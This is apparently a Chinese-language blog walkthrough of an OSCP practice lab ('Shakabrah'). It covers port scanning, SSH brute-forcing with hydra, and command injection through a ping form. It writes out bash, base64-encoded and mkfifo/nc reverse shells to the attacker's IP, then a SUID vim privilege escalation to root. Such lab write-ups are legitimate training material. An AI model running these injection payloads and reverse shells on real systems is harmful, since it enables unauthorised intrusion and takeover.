freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

OSCP系列靶场-Esay-Shakabrah
杳若 2023-08-16 21:12:43 624136

OSCP系列靶场-Esay-Shakabrah

总结

getwebshell: 发现ping功能点 → 命令执行 →bash反弹shell

提 权 思 路:suid文件发现 →vim提权

准备工作

  • 启动VPN
    获取攻击机IP >192.168.45.188

  • 启动靶机
    获取目标机器IP >192.168.178.86

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)

sudo nmap --min-rate 10000 -p- 192.168.178.86

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http


开放的端口->22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.178.86

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu) 
80/tcp open  http    Apache httpd 2.4.29 

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu)

# 搜索对应脚本
msf6 > searchsploit OpenSSH 7.6p1

发现搜索到可利用的和用户枚举有关(待定)

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root<span class="label label-primary">@192.168.178.86</span> -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root<span class="label label-primary">@192.168.178.86</span> -p 22
# 密码尝试
password > root

弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.178.86 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

80-HTTP端口的信息收集

访问http://192.168.178.86:80不是CMS我们直接从HTML隐藏信息收集开始


功能点的初衷是ping

信息收集-HTML隐藏信息查看

# 包括文章中是否写明一些敏感信息
┌──(root㉿Kali)-[~/.ssh]
└─# curl http://192.168.178.86/


    <h2>Connection Tester</h2>
    
        Ping: 
        
    


没有隐藏信息,从标题可以得出这是一个ping命令的连接测试功能

信息收集-目录扫描

信息收集-目录扫描初步
# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.178.86:80 -x 302,403,404
dirb http://192.168.178.86:80


因为扫出了目录,深层次的扫描待选

信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问

端点访问

/index.php/index.php/login/ 就是首页

漏洞利用-getwebshell

命令执行探索

通常在ping命令可以利用|拼接命令进行执行

127.0.0.1|ls

发现了index.php文件,命令执行成功

bash反弹shell尝试1(失败)

127.0.0.1 | bash -i >& /dev/tcp/192.168.45.188/5666 0>&1

监听5666端口发现没有成功反弹

思考

翻阅了一下index.php的源码

127.0.0.1|cat index.php


浅浅的信息收集 收集到dylan的用户名

127.0.0.1|cat ../../../etc/passwd

FLAG1获取

127.0.0.1| cat /home/dylan/local.txt
88b3b51f62350a076178af251056ee65

bash反弹shell尝试2(失败)

感觉过滤了一些命令,这时候尝试利用base64bash命令绕过

┌──(root㉿Kali)-[~]
└─# echo -n "bash -i >& /dev/tcp/192.168.45.188/5666 0>&1" | base64
# 获取bash的base64版本
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE4OC81NjY2IDA+JjE=

# 使用payload
127.0.0.1|echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE4OC81NjY2IDA+JjE=" | base64 -d | bash

监听5666端口发现没有成功反弹,但是存在转圈

bash反弹shell尝试3

通常在ping命令可以利用|拼接命令进行执行 尝试了一下用;

;ls

发现命令执行成功


尝试使用另一种bash反弹shell

# 通过管道将 /tmp/f 中的内容传递给了 `/bin/sh`,所以这将使得远程主机上的Shell与本地主机上的Netcat连接在一起
;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.188 80 >/tmp/f

弹了2个版本,发现小端口是可以弹成功的,但是大端口弹不成功

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

# 利用python获取交互shell -> python失败使用python3
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 18.04.5 LTS
Release:        18.04
Codename:       bionic

发行版本为Ubuntu 18.04.5,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$ uname -a
Linux shakabrah 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

内核版本为4.15.0

检测当前用户的权限

www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问https://gtfobins.github.io寻找

# 利用sudo -l寻找
www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$ sudo -l
sudo -l
[sudo] password for www-data:

发现需要密码

列举出所有suid文件

如果发现u=s有东西的话 访问https://gtfobins.github.io寻找

# -perm 文件权限
www-data<span class="label label-primary">@shakabrah</span>:/var/www/html$ find / -perm -4000 2> /dev/null
/bin/mount
/bin/su
/bin/ping
/bin/umount
/bin/fusermount
...
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/vim.basic
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign

看到了一个vim.basicvim是可以进行提权的

权限提升

vim.basic提权尝试

如果发现有东西的话 访问 https://gtfobins.github.io 寻找

sudo install -m =xs $(which vim) .
./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

构造进行提权尝试1

vim.basic -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

发现一堆乱码,提权失败,思考是否需要修改命令

构造进行提权尝试2

sh修改成了bash,因为用的py3,也修改了一下

vim.basic -c ':python3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")'

提权成功

FLAG2获取

cat /root/proof.txt
a74064fc768f4e9869b885d35892e0b6

完结撒花~

总结

在利用bash反弹的时候挺神奇的,用1000内的端口能弹,超过1000不能弹,下次应该多试试不同的端口进行反弹shell

# 渗透测试 # 黑客 # 网络安全 # web安全 # 系统安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 杳若 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
OSCP靶场系列
杳若 LV.6
这家伙太懒了,还未填写个人描述!
  • 46 文章数
  • 28 关注者
记一个奇怪的万能密码
2024-01-24
OSCP系列靶场-Esay-Monitoring
2023-09-20
OSCP系列靶场-Intermediate-BTRSys2.1
2023-09-19
文章目录